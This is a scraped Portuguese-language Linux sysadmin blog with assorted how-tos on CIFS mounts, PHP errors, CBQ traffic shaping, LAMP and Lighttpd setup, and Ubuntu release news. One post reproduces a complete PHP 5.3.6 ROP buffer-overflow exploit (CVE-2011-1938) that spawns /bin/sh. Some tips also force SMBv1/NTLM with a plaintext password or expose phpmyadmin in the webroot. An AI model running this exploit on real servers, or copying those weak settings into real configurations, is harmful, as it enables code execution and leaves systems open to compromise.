mount error(): Host is down

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Hi, if you try mount samba (CIFS) on console:

sudo mount -a

mount: mount error(): Host is down (or similar error)
Dont worry :), enter in FSTAB and fix to version 1:

//IP/sharefolder /mnt/destination cifs username=windowslogin,password=passthislogin,iocharset=utf8,vers=1.0,sec=ntlm  0  0

vers=1.0 has added after error.

Change /etc/fstab (this trick) run:
sudo mount -a
ORRRRR
mount -a (like a root)

'xterm-256color': unknown terminal type no mac os x Lion, Mac os x mountain ou mac os x snow leopard

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Se este erro ocorre com você na tentativa de acesso ao terminal de um servidor Ubuntu, Debian, Mint ou qualquer outro Debian Based usando Mac os X e recebe o erro ‘xterm-256color’: unknown terminal type, entre no servidor de destino aonde o terminal conecta e use o seguinte comando:

apt-get install ncurses-term -y

Isso vai instalar o pacote que faltava.

Interessante que se o erro não for corrigido, por exemplo, um comando inportante como top ou screen não funcionam :(.

Em plataformas Red Hat não rola isto.

PHP Warning: Module 'timezonedb' already loaded in Unknown on line 0

Standard

Para resolver isto é simples, entre no arquivo php.ini (em rhel based pode ser encontrado em /usr/local/lib/php.ini), bastando apenas entrar e remover as linhas duplicadas que contém:

extension=”timezonedb.so”

Removendo as linhas duplicadas rode: service httpd restart ou /etc/init.d/apache2 restart e curta!

Playing error : Sua instalação do GStreamer está com um plug-in faltando. at /usr/bin/../share/gmusicbrowser/gmusicbrowser_gstreamer-0.10.pm line 135.

Standard

Se essa é a mensagem de erro ao tentar tocar um arquivo MP3 junto ao seu Ubuntu/Xubuntu/Kubuntu, não chore e nem desanime, na verdade o que está rolando é a falta de plugins para stream de audio.
Para sanar isto basta abrir seu terminal e digitar:

sudo apt-get install ubuntu-restricted-extras -y

Serão baixados mais de 100mb de plugins, mas tudo bacana (mp3, flash, mp4, avi e etc…).

Depois disso é só alegria.

Abraços a todos ;P

Morre André Gondin, uma autoridade do Ubuntu no Brasil

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Morreu aos 24 anos um dos ícones do Software Livre no Brasil: André Gondin.

André era um dos líderes da tradução do Ubuntu para o Pt-BR e fazia parte do Conselho Ubuntu Brasil, além de escrever em diversos blogs de Linux e Software Livre.

Leia a matéria que Gleidson Lacerda escreveu sobre André Gondin abaixo:

“André Gondim, deixa esposa, pais, família, amigos, colegas, fãs. Lutou contra a fibrose cistica desde criança, deram 8 meses, 2 anos, 5 anos… aos 24 veio o transplante e ele sobreviveu (casou-se com Ana Luiza no mesmo ano).

Graduou-se, estava posgraduando. Trabalhou em empresas de primeira linha como UOL e Terra (até quebrou meu galho e tirou minhas férias na Gfarias). Deu cursos, palestras, militou no software livre. O Ubuntu, Gnome e tantos outros projetos devem muito das traduções e coordenação de equipe de André.

 

Para continuar lendo veja:

http://aurelianomartins.wordpress.com/2011/11/03/morre-andre-gondin-um-dos-icones-do-ubuntu-no-brasil/

 

Use of uninitialized value in string ne at /usr/sbin/ddclient line 1973.

Standard

Se você está usando DEBIAN-BASED (mind/debian/ubuntu) e toda vez que roda o comando ddclient ele apresenta erro SEUS PROBLEMAS “SE ACABARAM-SE”!

Para sanar, como root faça o seguinte:

rm -rf /var/cache/ddclient/ddclient.cache

Depois rode o comando ddclient, a saída vai ser algo semelhante a:
SUCCESS:  updating SEUHOST.ALGUMACOISAg: good: IP address set to IPDASUAINTERFACEWEB

 

Abraços galera

Ubuntu 11.10 Alpha 3

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Ubuntu Kate Stewart has announced the availability of the third alpha release of Ubuntu 11.10, code name “Oneiric Ocelot”. This release comes with the new Linux kernel 3.0, while Lubuntu (an Ubuntu variant featuring the LXDE desktop) becomes an official member of the Ubuntu family. From the release notes: “Alpha 3 includes the 3.0.0-7.9 Ubuntu kernel which is based on the mainline 3.0 kernel. Some of the most notable changes between the alpha 2 and alpha 3 release with respect to the kernel include: adopted a 3 digit kernel version, e.g. 3.0.0-x.y; re-base to upstream 3.0 final kernel; enable Overlayfs; enable Realtek RTL8192CU and RTL8188CU WiFi driver; enable support for rt53xx wireless chipset family….” See also the release announcement. Download (SHA256): oneiric-desktop-i386.iso (712MB, torrent), oneiric-desktop-amd64.iso (709MB, torrent). Also made available today were 11.10 alpha 3 releases for Kubuntu (download, release notes), Edubuntu (download), Lubuntu (download) and Mythbuntu (download).

 

Fonte: http://distrowatch.com/6824

Como fazer QoS de banda (controle de banda) no Ubuntu Server, Debian, Fedora, Centos, RedHat e etc

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Vamos perceber o seguinte.
Esse how to serve para TODAS as distribuições que rodam como um gateway de internet, sendo somente um caso de particularidade a questão de paths de configurações, como por exemplo, para instalar o CBQ no ubuntu basta usar apt-get install shaper -y.
Isto instalará ele e basta você localizar o path aonde o script shaper está (/etc/init.d/shaper) e seus respectivos confs (/etc/shaper).
No caso das outras distribuições (red hat based -> Centos, Fedora e Red Hat) podemos ver que seu path fica em /etc/sysconfig/cbq. No caso de red hat já existe um arquivo de exemplo que serve para mostrar como as coisas são configuradas no padrão, seu nome é cbq-0000.example e existe outro mas é um caso de utilização do próprio CBQ, o avpkt.
Neste caso iremos criar tudo na mão.
Antes de por a mão na massa temos de entender algumas regras PRIMÁRIAS do CBQ.
Abaixo seguem as mesmas:

O nome dos arquivos de download

cbq-0002-download.in

Todos os arquivos de download devem obedecer a algumas regras na hora de serem nomeados. A primeira delas é que todos os arquivos de download devem começar com cbq-

cbq-0002-download.in

A numeração sempre deve começar a partir do 0002;

cbq-0002-download.in

Todos os arquivos devem terminar com .in

cbq-0002-download.in

O conteúdo dos arquivos de download

DEVICE=eth1,10Mbit,1Mbit
RATE=64Kbit
WEIGHT=6Kbit
PRIO=5
RULE=10.0.0.2
BOUNDED=yes
ISOLATED=yes

DEVICE=eth1,10Mbit,1Mbit – Esta linha contém a interface que sai para os clientes da rede.
RATE=64Kbit – Quantidade de banda destinada ao cliente. Aqui coloca-se qualquer valor que se deseje separar para o IP do cliente.
WEIGHT=6Kbit – Taxa máxima de download que o cliente pode alcançar (com pequenas variações para mais ou para menos).
PRIO=5 – Prioridade com que o IP do cliente deve ser vigiado. O normal é deixar 5.
RULE=10.0.0.2 – IP do cliente a ser vigiado.
BOUNDED=yes – Se setado para yes o usuário estará limitado mesmo que o link esteja com folga.
ISOLATED=yes – Se setado para yes indica que o cliente não poderá emprestar banda pra ninguem.

Arquivos de upload
O nome dos arquivos de upload

cbq-0002-upload.out

Todos os arquivos de upload devem obedecer a algumas regras na hora de serem nomeados. A primeira delas é que todos os arquivos de upload devem começar com cbq-

cbq-0002-upload.out

A numeração sempre deve começar a partir do 0002;

cbq-0002-upload.out

Todos os arquivos devem terminar com .out

cbq-0002-upload.out

O conteúdo dos arquivos de upload

DEVICE=eth1,10Mbit,1Mbit
RATE=64Kbit
WEIGHT=6Kbit
PRIO=5
RULE=10.0.0.2,
BOUNDED=yes
ISOLATED=yes

DEVICE=eth1,10Mbit,1Mbit – Esta linha contém a interface que sai para os clientes da rede.
RATE=64Kbit – Quantidade de banda destinada ao cliente. Aqui coloca-se qualquer valor que se deseje separar para o IP do cliente.
WEIGHT=6Kbit – Taxa máxima de download que o cliente pode alcançar (com pequenas variações para mais ou para menos).
PRIO=5 – Prioridade com que o IP do cliente deve ser vigiado. O normal é deixar 5.
RULE=10.0.0.2, – IP do cliente a ser vigiado. Observe que no arquivo de upload, o IP termina com uma vírgula (,).
BOUNDED=yes – Se setado para yes o usuário estará limitado mesmo que o link esteja com folga.
ISOLATED=yes – Se setado para yes indica que o cliente não poderá emprestar banda pra ninguem.

Iniciando o CBQ

Depois de criadas todas as regras, é preciso compilá-las, com o comando (isto em fedora, redhat e centos):

root@appunixlabs~# cbq compile

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper compile

Basta, depois da compilação, iniciar o CBQ com o comando (isto em fedora, redhat e centos):

root@appunixlabs~# cbq start

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper start

Ou se desejar pará-lo (isto em fedora, redhat e centos):

root@appunixlabs~# cbq stop

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# /etc/init.d/shaper stop

CBQ na inicialização

Adicione o comando cbq start ao rc.local para que carregue sozinho no ato do boot
(isto em fedora, redhat e centos):

root@appunixlabs~# echo "cbq start" >> /etc/rc.local

No caso do Debian, Ubuntu, Mint e similares:

root@appunixlabs~# echo "/etc/init.d/shaper start" >> /etc/rc.local

Fontes:

http://www.ubuntu.com/ubuntu (ubuntu)
http://www.debian.org/ (debian)
http://centos.org/ (centos)
http://www.projetofedora.org/ (fedora)
http://sourceforge.net/projects/cbqinit/ (cbq)
http://migre.me/5gcMr (cbq sob fedora)

Ubuntu 11.10 Alpha 2 Lançado

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Ubuntu Kate Stewart has announced the availability of the second alpha release of Ubuntu 11.10, code name “Oneiric Ocelot”: “Welcome to Oneiric Ocelot alpha 2, which will in time become Ubuntu 11.10. Alpha 2 is the second in a series of milestone images that will be released throughout the Oneiric development cycle. New packages showing up for the first time include: Linux Kernel 3.0-rc5, GCC 4.6.1 compiler, Firefox 5.0, Thunderbird 5.0, a Mesa 7.11 snapshot. Alpha 2 ships GNOME 3.0, with some parts already upgraded to the 3.1.2 alpha releases. Unity, the theme, and Ayatana scrollbars were updated for GTK+/GNOME 3. See the release announcement and release notes for full details about this alpha build. Download (SHA256): oneiric-desktop-i386.iso (714MB, torrent), oneiric-desktop-amd64.iso (709MB, torrent). Xubuntu 11.10 alpha 2 (download) and Edubuntu 11.10 alpha 2 (download) can be obtained from usual locations, but Kubuntu 11.10 alpha 2 images will not be available.
Fonte: http://distrowatch.com/6771

PHP 5.3.6 Buffer Overflow PoC (ROP) CVE-2011-1938

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/*
** Jonathan Salwan - @shell_storm
** http://shell-storm.org
** 2011-06-04
**
** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1938
**
** Stack-based buffer overflow in the socket_connect function in ext/sockets/sockets.c
** in PHP 5.3.3 through 5.3.6 might allow context-dependent attackers to execute arbitrary
** code via a long pathname for a UNIX socket.
*/

echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)n";
echo "[+] CVE-2011-1938nn";

# Gadgets in /usr/bin/php
define('DUMMY', "x42x42x42x42"); // padding
define('STACK', "x20xbax74x08"); // .data 0x46a0 0x874ba20
define('STACK4', "x24xbax74x08"); // STACK + 4
define('STACK8', "x28xbax74x08"); // STACK + 8
define('STACK12', "x3cxbax74x08"); // STACK + 12
define('INT_80', "x27xb6x07x08"); // 0x0807b627: int $0x80
define('INC_EAX', "x66x50x0fx08"); // 0x080f5066: inc %eax | ret
define('XOR_EAX', "x60xb4x09x08"); // 0x0809b460: xor %eax,%eax | ret
define('MOV_A_D', "x84x3ex12x08"); // 0x08123e84: mov %eax,(%edx) | ret
define('POP_EBP', "xc7x48x06x08"); // 0x080648c7: pop %ebp | ret
define('MOV_B_A', "x18x45x06x08"); // 0x08064518: mov %ebp,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('MOV_DI_DX', "x20x26x07x08"); // 0x08072620: mov %edi,%edx | pop %esi | pop %edi | pop %ebp | ret
define('POP_EDI', "x23x26x07x08"); // 0x08072623: pop %edi | pop %ebp | ret
define('POP_EBX', "x0fx4dx21x08"); // 0x08214d0f: pop %ebx | pop %esi | pop %edi | pop %ebp | ret
define('XOR_ECX', "xe3x3bx1fx08"); // 0x081f3be3: xor %ecx,%ecx | pop %ebx | mov %ecx,%eax | pop %esi | pop %edi | pop %ebp | ret

$padd = str_repeat("A", 196);

$payload = POP_EDI. // pop %edi
STACK. // 0x874ba20
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"//bi". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK4. // 0x874ba24
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
"n/sh". // pop %ebp
MOV_B_A. // mov %ebp,%eax
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
MOV_A_D. // mov %eax,(%edx)
POP_EDI. // pop %edi
STACK8. // 0x874ba28
DUMMY. // pop %ebp
MOV_DI_DX. // mov %edi,%edx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
MOV_A_D. // mov %eax,(%edx)
XOR_ECX. // xor %ecx,%ecx
DUMMY. // pop %ebx
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
POP_EBX. // pop %ebx
STACK. // 0x874ba20
DUMMY. // pop %esi
DUMMY. // pop %edi
DUMMY. // pop %ebp
XOR_EAX. // xor %eax,%eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INC_EAX. // inc %eax
INT_80; // int $0x80

$evil = $padd.$payload;

$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $evil);
?>

Fonte: http://www.exploit-db.com/exploits/17486/

Ajustando o Timezone do Ubuntu Como mudar o timezone do ubuntu

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Se você está com o timezone ferrado em seu Ubuntu não deixe de acessar o console e corrigir isto assim:

root@appunix:~# tzselect

Escolha Sim, Brasil, Sua área (a minha tinha de ser São Paulo), logo após, use o comando:

root@appunix:~#ntpdate ntp.ubuntu.com

e cheque a data com:

root@appunix:~#date

Isto deverá imprimir algo como:

Sex Fev 04 00:22:47 BRT 2011

Como judar varios PDFs Linux Ubuntu | Debian

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Olá galera tudo na santa paz?
Surgiu esse dias a necessidade de juntar vários arquivos PDF em apenas 1 para enviar para um amigo que desejava estudar/conhecer um pouco sobre o mundo de um sysadmin Linux… surgiu a dúvida COmo juntar esses arquivos em apenas 1?
Pesquisando por ai (diga-se google) encontrei uma solução bem simples e eficaz….
Vamos lá….

Primeiro instale o aplicativo pdftk

root@appunix:~#apt-get install pdftk

Agora pra facilitar as coisas coloque todos os pdf´s a serem juntados na mesma pasta, vá até ela…. em nosso caso criamos uma pasta chamada labs na /home, vamos até ela

root@appunix:~#cd /home/labs
root@appunix:/home/labs# ls
linux1.pdf  linux2.pdf  linux3.pdf

Podem ver que tenho 3 arquivo, agora é bem simples digitem

root@appunix:/home/labs#pdftk linux1.pdf linux2.pdf linux3.pdf cat output linux.pdf

Explicando

pdftk → chamando o aplicativo que instalamos acima (ele é quem vai fazer a junção)
linux1.pdf linux2.pdf linux3.pdf → os arquivos que deseja juntar
cat output linux.pdf → funciona como se fosse um = na matemática, mandando concatenar o que o aplicativo pdftk fez com os 3 arquivos em questão no arquivo linux.pdf

Lembrando que eu poderia chamar o que chamo de linux.pdf de qualquer nome… não fiz testes para saber se o mesmo trabalha bem com caracteres especiais…. Está ai galera, simples/rápido e o melhor de tudo EFICIENTE….
Abraço a todos!!!! 😀

Quem consome mais energia: Ubuntu 11.04 ou Windows 7?

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É, meu caro amigo visitante, se esta pergunta já passou em sua mente o pessoal do Phoronix também pensou nisto e fez uma avaliação detalhada para alcançar quem é o “maior bebarrão” de energia.

Apesar do Ubuntu não ter tido o Topo em tudo, mostrou-se equivalente em tudo (inclusive surpreendendo a equipe Phoronix), somente perdendo para uso de Opengl em jogos e rodando vídeos em HD com Flash Player (Adobe quem disponibiliza), mas vale a penar ver a briga de perto:

http://www.phoronix.com/scan.php?page=article&item=windows_ubuntu_pow&num=1

Como forçar a leitura de arquivos .htaccess no Ubuntu pelo Apache 2

Standard

Calma gente, nada de pânico, nada de gritos e nem stress, os caras que fazem isto por você estão aqui!

Realidade

Ter o apache instalado no ubuntu por meio de apt-get ou aptitude, ter um arquivo htaccess dentro do diretório público e o mesmo não estar sendo lido.

 

Saída

Como sempre, lá vai a coisa “mastigadinha”:

1 – Acesse o diretório das configurações do apache referente aos virtual hosts, ou seja -> /etc/apache2/sites-available/

2 – Assim que chegar lá, acesse o arquivo referente ao seu site, no caso do meu foi o amigo Default, ele tinha um conteúdo semelhante a:

NameVirtualHost *
<VirtualHost *>
ServerAdmin webmaster@localhost

DocumentRoot /var/www/
<Directory />
Options FollowSymLinks
AllowOverride None
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
</Directory>

ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
<Directory “/usr/lib/cgi-bin”>
AllowOverride None
Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
</Directory>

ErrorLog /var/log/apache2/error.log

# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn

CustomLog /var/log/apache2/access.log combined
ServerSignature On

Alias /doc/ “/usr/share/doc/”
<Directory “/usr/share/doc/”>
Options Indexes MultiViews FollowSymLinks
AllowOverride None
Order deny,allow
Deny from all
Allow from 127.0.0.0/255.0.0.0 ::1/128
</Directory>

</VirtualHost>

############################

Para corrigir a coisa altere somente os trechos como abaixo:

NameVirtualHost *
<VirtualHost *>
ServerAdmin webmaster@localhost

DocumentRoot /var/www/
<Directory />
Options FollowSymLinks Indexes
AllowOverride AuthConfig
</Directory>
<Directory /var/www/>
Options Indexes FollowSymLinks MultiViews
AllowOverride AuthConfig
Order allow,deny
allow from all
</Directory>

Como deixar o vim colorido no ubuntu

Standard

Hoje estive procurando como deixar o vim colorido, o qual, acho o melhor editor para quem quer aprender a programar… aí vai a dica:

abra o arquivo /etc/vim/vimrc

(escolha o editor de sua preferência), gosto do vim :P.

Basta somente remover o comentário da linha referente a:

syntax on

Comigo, removi aspas duplas, mas pode ter tralha (#), remova e coloque ele para moer 😛

OBS: Pode ocorrer o erro abaixo

Error detected while processing /usr/share/vim/vimrc:
line 20:
E319: Sorry, the command is not available in this version: syntax on
Press ENTER or type command to continue

Este erro será corrigido instalando a versão “recheada” do vim, fazendo:

sudo apt-get install vim

Lamp2: Ubuntu Server APACHE 2 Mysql 5 PHP 5 phpmyadmin

Standard

Um ambiente LAMP2 (apache 2 mysql 5 php 5 e phpmyadmin) é fundamental para quem desenvolve e deseja testar sua app antes de envia-la para web, sem mais, vamos aos passos:

1 – Clique em Aplicativos->Acessórios->Terminal OU CASO ESTEJA USANDO QUALQUER OUTRA VERSÃO SERVER SEM X, CTRL + ALT + F2.
2 – rode o comando:

sudo apt-get install apache2

Este comando serve para instalar o apache 2. Ressalto que usei o gestor de pacotes e habilitei o suporte a pacotes instáveis e também o repositório partner (mais abaixo posto como fazer).

Ainda no console use o comando abaixo:

sudo apt-get install php5 libapache2-mod-php5
Isto servirá para instalar o php5 e ainda integra-lo como DSO no apache (como módulo).

Já que estamos na metade do caminho o ideal seria dar um restart no apache para garantir que ele leu seu conf.
Use o comando:

sudo /etc/init.d/apache2 restart

A saída deverá ser parecida com:

* Restarting web server apache2 apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
… waiting apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1 for ServerName
[ OK ]

Para garantir que o apache está interpretando códigos php (fazendo uso do interpretador como módulo) podemos editar um arquivo e testa-lo. use o comando abaixo:

sudo vi /var/www/index.php

Dentro deste arquivo informe:

echo 'APPUNIX é um lab de nerds!';
?>

escreva : e depois escreva wq! e pressione enter, ficando algo como :wq! , você salvará o arquivo e sairá do vi.
Feito isto acesse o arquivo para ver se a mensagem APPUNIX é um lab de nerds! aparece, caso sim, sucesso total! Do contrário releia este manual!
Este teste pode ser feito em http://localhost/index.php

Para instalar o mysql como servidor de banco de dados devemos usar o seguinte comando:
sudo apt-get install mysql-server


No meio desse esquema todo serão exibidas janelas que solicitarão a senha de administrador do mysql, semelhantes as imagens abaixo:

senha mysql root

senha mysql root

Outra tela:

senha root mysql 2

senha root mysql 2

Estas telas pedem para que você dê uma senha para o usuário root do mysql, escolha uma senha ao seu gosto e depois repita a mesma.

Agora iremos integrar o php + apache + mysql + phpmyadmin, para isto precisaremos usar o comando:

sudo apt-get install libapache2-mod-auth-mysql php5-mysql phpmyadmin

Neste meio tempo uma tela para escolher entre apache e lighttpd aparecerá, escolha apache. Veja:

escolha apache

escolha apache

Na primeira tela escolha OK e dê um tab para confirmar que aceita a opção.

phpmyadm

phpmyadm

A próxima tela pedirá uma senha de admin para o phpmyadmin, para isto defina algo seu. Veja a tela:

pass phpmyadm

pass phpmyadm

Costumo, após terminar uma instalação de integração como esta utilizar-me de lago, insira as seguintes linhas naquela página index.php usando sudo vim /var/www/index.php
Informe dentro dela o seguinte:

mysql_connect(‘localhost’, ‘root’, ‘suaSENHA’) or die(mysql_error());
?>

Acesse http://localhost/index.php

Se nada ocorrer tudo está 100%.

Quando terminar use o comando:
sudo /etc/init.d/apache2 restart

Isto vai fazer o apache reler todos os confs.

Para concluir precisamos levar o phpmyadmin para a pasta web afim de que possamos editar nossos bds. Para isto precisamos copiar o phpmyadmin para dentro do /var/www usando o comando:

cp -rp /usr/share/phpmyadmin /var/www

Sendo assim, para acessar somente precisamos de um http://localhost/phpmyadmin

Como deixar OpenOffice em Português do Brasil Ubuntu | Debian

Standard

Oi galera tudo na paz?
Hoje vou ser rápido e ligeiro… alguém ai percebeu que o Openoffice após a instalação do nosso querido Ubuntu fica em Inglês?
É galera por algum motivo desconhecido (pelo menos por mim), nossa querida suite de escritório não adere ao idioma tupiniquim
mesmo você escolhendo a instalação como Português do brasil.. Vamos então…
COmo root ou usuário comum entre no terminal e digite :

Como root

root@appunix:~#apt-get install openoffice.org-l10n-pt-br openoffice.org-help-pt-br -y

COmo usuário comum

doooguinha@appunix:~$sudo apt-get install openoffice.org-l10n-pt-br openoffice.org-help-pt-br -y

Em caso de usuário comum será solicitada a senha, coloque-a e seja feliz….
pronto galera, aproveitem…
Abraço

Lighttpd php5 mysql no Ubuntu 11.04

Standard

Lighttpd é verdadeiramente uma bala no que tange a containers web. Muitas pessoas gostam dele (segundo a mídia até o Youtube já amou esse negócio), por isso estaremos indo direto ao assunto, vamos instalar essa bala no Ubuntu 11.04?

Temos que ter poder de root para fazer o negócio rodar (use sudo su ou su -, sendo su – melhor pois dá autoridade global):

apt-get update &&

apt-get install mysql-server mysql-client -y

Fazendo isto estaremos instalando o mysql server e seu client (inclusive no pacote vem a ferramenta replace, muito boa para substituir termos em um arquivo [depois falamos de utilitários em outro artigo]).

No momento seguinte o sistema vai pedir que você defina a senha de root:

New password for the MySQL … : Informe a senha de root
Repeat password for the MySQL …: Confirme novamente a senha

Vamos instalar o Lighttpd agora!

apt-get install lighttpd -y

Presumindo que você possui um ip setado a este pc (qualquer ip, se for por dhcp use ifconfig e veja o ip da sua eth0 ou ethX [sendo X ponto variável, podendo ser 1 para interface real secundária e assim por diante]) 10.0.0.1, abra o navegador e digite 10.0.0.1, deverá ser exibido um arquivo pedindo substituição de conteúdo, aonde o document root (pasta principal da web) fica em /var/www e o arquivo de configuração /etc/lighttpd/lighttpd.conf. As configurações extras ficam em /etc/lighttpd/conf-available . Se futuramente ativamos módulos extras podemos usar lighttpd-enable-mod para ativa-los. Os links simbólicos de comandos ficam em /etc/lighttpd/conf-enabled, mas o filé mesmo para edições e customizações é /etc/lighttpd/conf-available.

Hora de meter o php5 em modo fastcgi!

Vamos lá:

apt-get install php5-cgi

 

Para que tudo fique validado precisamos arrumar o esquema. Vamos editar o conf:

vim /etc/php5/cgi/php.ini

Devemos procurar pela linha:

cgi.fix_pathinfo

e mudar seu conteúdo para:

cgi.fix_pathinfo=1

Agora vamos ativar o módulo do php (claro que instalamos o mesmo para ser instância separada,  mas é um módulo):

lighttpd-enable-mod fastcgi

lighttpd-enable-mod fastcgi-php

Vamos conferir os links simbólicos paragarantir que tudo está ok entre os arquivos /etc/lighttpd/conf-enabled/10-fastcgi.conf , /etc/lighttpd/conf-available/10-fastcgi.conf,/etc/lighttpd/conf-enabled/15-fastcgi-php.conf e /etc/lighttpd/conf-available/15-fastcgi-php.conf :

ls -l /etc/lighttpd/conf-enabled

root@developer:~# ls -l /etc/lighttpd/conf-enabled
total 0
lrwxrwxrwx 1 root root 77 2011-05-25 7:46 10-fastcgi.conf -> ../conf-available/10-fastcgi.conf
lrwxrwxrwx 1 root root 78 2011-05-25 7:46 15-fastcgi-php.conf -> ../conf-available/15-fastcgi-php.conf
root@developer:~#

Vamos dar aquele reload sarado:

/etc/init.d/lighttpd force-reload

Vamos testar nosso sistema de containers?

vim /var/www/testes.php

Dentro dele colocarmos assim:

<?php

phpinfo();

?>

A abriremos o browser para ver se aparece a info do php com esse endereço: http://10.0.0.1/testes.php

Vamos dar suporte ao php para que o bichão possa usar o mysql sem stress?

apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl

Para validar todo o bando de mudanças façamos assim:

/etc/init.d/lighttpd restart

E para reconferir http://10.0.0.1/testes.php em seu navegador.

Thanks Guys!

😉

 

Nossas fontes: